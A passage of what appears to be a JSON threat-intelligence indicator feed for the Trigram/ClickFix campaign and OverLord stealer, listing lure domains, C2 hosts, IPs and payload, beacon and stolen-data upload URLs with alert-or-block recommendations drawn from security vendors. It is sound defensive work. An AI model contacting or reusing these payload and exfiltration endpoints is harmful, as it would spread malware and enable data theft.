logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dymensionbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "inv2osl.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithfuel.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithsonic.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "nilliontalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithbullish.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "movementbuilders.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "panthertalents.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram ClickFix lure domain impersonating a recruitment, conference or logistics brand. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "validator.dokamacto.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram operator dashboard host (validator.dokamacto.xyz). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "online.dokamacto.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram operator dashboard host (online.dokamacto.xyz). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dokamacto.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram operator dashboard host (dokamacto.xyz). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dashboard.asteara.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Trigram operator dashboard on UNK_DeadDrop infrastructure. Stormshield and Proofpoint.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dashboard.gaganata.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Operator dashboard on the gaganata C2 domain. Stormshield and SafeDep.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" }, { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "almanac.3dscenebox.online", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram operator dashboard host (almanac.3dscenebox.online). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dashboard.cklomino.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram operator dashboard host (dashboard.cklomino.ink). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "gamsterb.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram command-and-control host (C2). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "api.cerysoi.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram command-and-control host (C2). Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "api.fallgganata.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fallback stage-3 store and telemetry. Stormshield and SafeDep.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" }, { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "gaganata.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Attacker-registered parent of the stage-3 and dashboard hosts. SafeDep; also named by Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" }, { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "api.gaganata.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Stage-3 payload, telemetry and lure site. SafeDep and Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" }, { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "fallgganata.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Fallback C2 parent domain. SafeDep; also named by Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" }, { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "chestsoi.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "OverLord C2 parent domain. SafeDep; named by Stormshield as related infrastructure.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" }, { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "api.chestsoi.ink", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Current OverLord WebSocket C2 and payload host, resolved via the GitLab dead drop. SafeDep; named by Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" }, { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "asteara.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "UNK_DeadDrop infrastructure since April 2026, later hosting the Trigram back office. Proofpoint and Stormshield.", "source_url": "https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal", "source_label": "Proofpoint – Don't Fear the Repo: UNK_DeadDrop Phishing Campaign Targets Developers to Steal Cryptocurrency", "source_name": "Proofpoint", "sources": [ { "url": "https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal", "name": "Proofpoint" }, { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "api.gamsterb.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "C2 host used in Stormshield telemetry URLs. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "fallgamsterb.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Fallback C2 parent used in Stormshield telemetry URLs. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "api.fallgamsterb.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Fallback C2 host used in Stormshield telemetry URLs. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "subnet.dokamacto.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Trigram operator console hidden under a recruitment decoy on dokamacto.xyz. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "dscufo.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Sender domain in a fake designer job offer linked to the same operators. Stormshield citing a Contra alert, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "buildwithknexus.xyz", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Older macOS re-infection host for the same OverLord payload, later taken offline. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "cklomino.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Parent of a Trigram operator dashboard host. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "cerysoi.ink", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Parent of a Trigram C2 host. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "170.205.31.182", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "216.198.79.1", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "198.54.127.82", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "170.205.29.83", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "185.147.159.187", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "146.19.215.187", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "170.205.30.27", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "193.160.32.10", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "193.160.32.188", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "65.110.40.18", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "170.205.28.251", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "193.160.32.243", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "208.84.100.64", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "23.137.104.77", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP address published in Stormshield's Trigram IOC table. Cheap or shared hosting is common in this set, so this is an alert, not a block.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "https://api.gamsterb.ink/guard-launcher-result", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Trigram dropper result beacon. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "https://api.gamsterb.ink/guard-install-log", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Trigram dropper install-log upload. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "https://api.fallgamsterb.ink/guard-launcher-result", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Trigram fallback dropper result beacon. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "https://api.fallgamsterb.ink/guard-install-log", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Trigram fallback dropper install-log upload. Stormshield, single source, alert only.", "source_url": "https://www.stormshield.com/news/cti-trigram-campaign/", "source_label": "Stormshield Customer Security Lab – Trigram Campaign", "source_name": "Stormshield", "sources": [ { "url": "https://www.stormshield.com/news/cti-trigram-campaign/", "name": "Stormshield" } ] }, { "value": "https://icagllmbt.space/verify_m", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Stage-2 Linux/macOS loader. SafeDep and Stormshield (same host).", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://icagllmbt.space/verify_w", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Stage-2 Windows loader. SafeDep and Stormshield (same host).", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/install_guard.js", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Stage-3 install_guard.js payload. SafeDep and Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.fallgganata.ink/install_guard.js", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Fallback stage-3 install_guard.js payload. SafeDep and Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/guard-install-log", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Victim install-log upload. SafeDep and Stormshield (same path pattern).", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/guard-launcher-result", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Launcher result beacon. SafeDep and Stormshield (same path pattern).", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/guard-install-progress", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Progress beacon. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/api/verify", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Lure nonce-check endpoint. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/refcode/unlock", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Lure referral-code gate. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.gaganata.ink/track-activity", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Lure visitor tracking path also described by Stormshield. SafeDep, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.chestsoi.ink/install_guard.js", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "Stage-3 OverLord stealer as served from the current C2. SafeDep; host named by Stormshield.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "wss://api.chestsoi.ink", "type": "url", "confidence": "high", "recommended_action": "alert", "description": "OverLord agent WebSocket C2. SafeDep; host named by Stormshield. Hunt in proxy logs; do not browse.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.chestsoi.ink/data/google-update-support-linux-amd64", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "OverLord Go agent download. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.chestsoi.ink/api/agent-bundle/windows-node.zip", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Windows OverLord RAT self-update bundle. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.chestsoi.ink/api/company-wallet/upload", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "OverLord stolen-data upload. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer", "source_name": "SafeDep", "sources": [ { "url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "name": "SafeDep" } ] }, { "value": "https://api.chestsoi.ink/mark-complete", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Stealer completion beacon. SafeDep, single source, alert only.", "source_url": "https://safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer", "source_label": "SafeDep – antd-img-crop GitHub Repository Hijacked to 